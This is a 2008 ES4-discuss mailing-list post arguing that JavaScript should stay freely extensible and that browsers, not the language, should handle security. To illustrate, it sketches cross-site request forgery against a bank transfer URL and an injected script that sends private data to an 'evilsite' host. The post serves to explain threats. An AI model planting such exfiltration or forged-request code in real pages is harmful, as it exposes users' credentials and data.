Dynamic class default (was Re: Class method addition...)

Steven Mascaro subs at voracity.org
Tue Apr 8 06:08:04 PDT 2008


"Whitelisting is better than blacklisting" is not something you want
applied to web pages and books, shops and products, and dare I say it,
tourists and immigrants. Security maxims are useful to keep in mind,
but aren't always appropriate.

Security is fundamentally about preventing people from doing things.
Of course, the aim is to prevent people from doing *bad* things, but
there are two problems: 1) regardless of intentions, you invariably
stop people from doing *good* things as well (deadlocked doors stop
thieves, but also emergency workers); and 2) people have differing
ideas on what's good and bad. Hence, compromise is essential.

Javascript inhabits a strange world. Perhaps more than any other
programming language, it is constantly used to mediate between
strangers, so security would seem a vital concern. But it isn't. More
on that in a moment.

Typically, Javascript developers need to deal with 3 layers of code:
the browser (or viewer), 3rd party libraries and the developer's own
code (often split between libraries and immediate code). The last is
the simplest case for changes: when developers find things that need
changing in their own code, they can simply edit, rewrite or refactor.

When developers find things that need changing in 3rd party libraries,
they usually have two choices: they can edit the library (since the
source is commonly available) or they can 'cascade' their own
modifications, in the way style sheets can be cascaded. The second
choice is usually best: there is a clean separation between the
developers' code and the 3rd party library. Upgraded versions of the
library can be incorporated with less fuss, because your extensions
file behaves like a cvs patch file.

Without prototypes (and overrides of classes and class members), the
only way to achieve 'cascading scripts' is to write your own classes
and functions that serve as proxies for the underlying classes and
functions in the 3rd party library. This is invariably unwieldy
because you constantly have to convert between your own class and the
library class, even though they are entirely the same class from your
own perspective.

Then there is the browser. Developers have just one choice here: they
can change the 'in-built library' through prototypes/overrides, or
*not* *at* *all*. Not a big deal --- unless you're dealing with a
browser vendor that has fallen asleep for 5 years, or you're dealing
with browser developers who refuse to add your pet requests. Or,
indeed, if you simply need to temporarily enhance or alter the default
behaviour for whatever reasons.

And there are plenty of reasons for developers to change browsers'
in-built libraries. Often this is due to shortcomings in the browser.
'document.getElementsByClassName' from the Prototype library is an
illuminating example that has recently been brought to light due to
standardisation (
http://ejohn.org/blog/getelementsbyclassname-pre-prototype-16/ ). John
(and many commenters there) take a pessimistic view of the grass-roots
implementation of this method, but I consider this case an excellent
example of just how valuable unfettered extensibility can be.

Other times, the desire to 'extend the browser' is just a consequence
of pragmatic needs. For example, I'm currently writing a Firefox
extension that saves pages in a single html file (using data: urls).
One of the problems I noticed was that when I saved a document to disk
and then opened it, some elements appeared double. The reason was
simple enough: these pages were using document.write to generate parts
of the page. Since I was saving the generated page, the
document.writes would run a second time. Due to the extensibility of
Javascript, the solution was equally simple: set document.write to a
null function during page load.

I could give example after example, but I'll leave it there (although
I do want to mention the possibility for grass-roots prototyping, and
possibly implementation, of new markup languages). My point is not
merely to show that extensibility is useful, but that *unfettered*
extensibility is even more useful. (Lars asked the question.) Browser
developers and library writers are neither omniscient nor seers.
Innovation grows in unlikely places and evolution, despite what some
people may want, is not directed by intelligent design.

Even if you agree with me that unfettered extensibility can be useful,
I would still have to show that it is no great threat to security.
I'll repeat (and develop) what I've already said on Brendan's blog:
security is the concern of the environment (browser, OS, etc.) not the
language. Thankfully, security is also a fairly simple issue for
browsers to handle. The take home message? Don't send cookies (data)
between untrusted domains. Right now, browsers do this very wrong and
put their users at risk.

For any website, there are 3 relevant parties involved. The server,
the user and the (potentially uninformed) 3rd party content providers
(here just called the 'provider'). The browser's job is to protect all
three. Trust relations can exist between any pair that need to be
hidden from the 3rd member. The two cases of
interest are those that involve the user. That is, 1) when the user
and provider have a trust relation that must be hidden from the
server; and 2) when the user and server have a trust relation that
must be hidden from the provider.

Let's take the first case. Today, it is possible to stage a
cross-domain attack if a provider's javascript is not written with
security in mind. <script
src="http://provider/scriptwithcookie_performaction.js"></script> is
all that's needed. The problem is obvious: private data between the
user and the provider (the cookie) is being abused by the server. The
server can't *read* the cookie, but they can *use* it. Let's stop that
being possible.

To show this is a browser problem, and not a javascript problem, the
same problem applies to plain old html forms posted across domains.
Anyone can, today, write a html page that will post to another domain
with cookies intact. In other words, a server can trick a user into
posting whatever data the server wants to
http://yourbank.com.au/transfer_money.php using all the user's current
cookie credentials with that site. (Thankfully, banks tend to employ
enough security to prevent this from being a problem.)

The solution is simple: do not let server's abuse the user's data.
Ever! <script src>, <img src>, <iframe src>, <link href>, etc. should
*never* send a user's data across domains. We were smart enough to
stop it with XMLHttpRequest, we should stop it with everything else too.

The second case involves trust relations between the user and server
that must be hidden from a 3rd party content provider. Invariably,
this involves injection attacks. If the provider can somehow put a
script that says window.location.href = 'evilsite'+privatedata (or
something similar), then the provider has breached the trust relation.

You'll notice, however, that absolutely nothing in ES4 can prevent
this from happening. If the provider is able to inject an un-sandboxed
script, it really doesn't matter if any objects are declared with JSON
or not, because they have raw access to the page data. As an example,
I use Google maps on some of my sites. To do so, I have to include the
following in my pages <script
src="http://maps.google.com/maps?file=api&amp;v=2&amp;key=..."></script>.
If Google turns evil or some key employee turns evil or (more likely)
the dns system is poisoned, whoever is sitting behind maps.google.com
has access to a great dollop of sensitive data about my users.

The solution in this case is simple to name, but less simple to do:
sandboxing. Scripts (or whatever else) from foreign domains should
have no access to the including page by default. There are other
possible injections, of course. Often, 3rd party content is inserted
directly into the page as raw markup. I've already argued in this bug
( https://bugzilla.mozilla.org/show_bug.cgi?id=178993 ) that HttpOnly
cookies don't cut it. Random boundary sandboxing would cover pretty
much every possible case.

I hope I've made the case that, while I'm very concerned about
security, there are, in fact, no security issues to be considered when
designing the next generation of Javascript (or any language, for that
matter). There is one last point I should deal with, though, that
Brendan keeps raising: defence-in-depth. At this point I'd like to
raise the recent case of XMLHttpRequest. A defence-in-depth approach
would imply that XMLHttpRequest should never become cross-domain.
After all, this would provide an extra layer of protection, wouldn't
it? There is nothing that you can't do with cross-domain
XMLHttpRequest that can't be done on the server side. And yet, the
standards authors are busy writing up their specifications and the
browser vendors are busy deciding how best to implement them. Why
should Javascript be treated any differently?

Epilogue :)

There is *one* area where I'll quite happily agree that fixed types,
sealed classes, consts and all the other immutable devils transform
into angels: performance. I consider this to be important enough to
have immutable things in ES4, but I do *not* want it to be the
default, and I do not want it to be too convenient. Design first,
tweak later is the accepted motto, right?

As for programming in the large, I'm fairly certain that extensibility
doesn't harm it and may even help it (if AOP is of any use). To be
honest, I'm not even sure what the term means beyond maintainability
and extensibility. If that's all it is, I can fairly say I've never
encountered a Javascript program that couldn't be easily maintained
(even the obfuscated ones...), but that could be due to the excellent
tools available --- tools, incidentally, that aren't stonewalled by
information hiding.

I apologise for the length, but this topic is too detailed and
important to be done justice in a few words. (And sadly, I still don't
think I've done it any justice . . .)





More information about the Es4-discuss mailing list